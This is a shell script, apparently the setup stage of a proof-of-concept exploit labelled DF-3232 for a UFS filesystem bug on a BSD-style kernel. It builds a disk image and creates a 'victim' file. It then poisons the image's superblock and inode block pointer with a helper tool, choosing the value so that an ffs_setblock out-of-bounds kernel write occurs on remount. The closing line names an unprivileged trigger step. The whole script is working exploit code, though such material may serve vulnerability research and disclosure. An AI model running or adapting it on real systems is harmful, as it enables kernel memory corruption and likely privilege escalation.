DF-3232 / setup.sh
#!/bin/sh # DF-3232 setup (guest, as root): build a stock 128MB UFS1 image, create # the "victim" file (one 8K block), unmount, then poison the offline # image: fs_fragshift 3 -> 0, fs_fpg -> 131072, softdep flag cleared, # victim's di_db[0] -> $BNO. Remount crafted RW. # # usage: setup.sh <bno> set -e BNO_ARG=${1:-16000} IMG=/tmp/df3232.img dd if=/dev/zero of=$IMG bs=1m count=128 status=none vnconfig -u vn0 2>/dev/null || true vnconfig -c vn0 $IMG newfs -b 8192 -f 1024 /dev/vn0 >/tmp/newfs3232.out 2>&1 || { cat /tmp/newfs3232.out; exit 1; } grep -E "bsize|fsize|frag|cylinders|soft" /tmp/newfs3232.out || true mount -t ufs /dev/vn0 /mnt dd if=/dev/zero of=/mnt/victim bs=8192 count=1 status=none chmod 666 /mnt/victim INO=$(ls -i /mnt/victim | awk '{print $1}') echo "[*] victim inode = $INO" ls -li /mnt/victim umount /mnt vnconfig -u vn0 # Auto-pick: 8-aligned frag whose bitmap-byte target (cg0 at frag 24 -> # byte 24576; + cg_freeoff 1628 + bno) is a ZERO byte past the bitmap end # (5632 bytes) but inside the mapped 8192-byte cg buffer, so # ffs_isfreeblock reads 0 and ffs_setblock performs the OOB write. BNO=$BNO_ARG if [ "$BNO" = pick ]; then BNO=5648 while [ $BNO -le 6560 ]; do OFF=$((24576 + 1628 + BNO)) B=$(od -An -tu1 -j $OFF -N 1 $IMG | tr -d " ") if [ "$B" = 0 ]; then break; fi BNO=$((BNO + 8)) done echo "[*] auto-picked BNO=$BNO (target byte offset $((24576+1628+BNO)))" fi /tmp/sbtool2 $IMG info /tmp/sbtool2 $IMG poison 131072 # victim's di_db[0] -> $BNO so one ftruncate frees exactly that block /tmp/sbtool2 $IMG setdb $INO $BNO /tmp/sbtool2 $IMG info vnconfig -c vn0 $IMG mount -t ufs /dev/vn0 /mnt chmod 777 /mnt mount | grep "vn0.*mnt" || true echo "[*] crafted image mounted; BNO=$BNO; trigger as maxx: /tmp/trig3232 /mnt/victim" |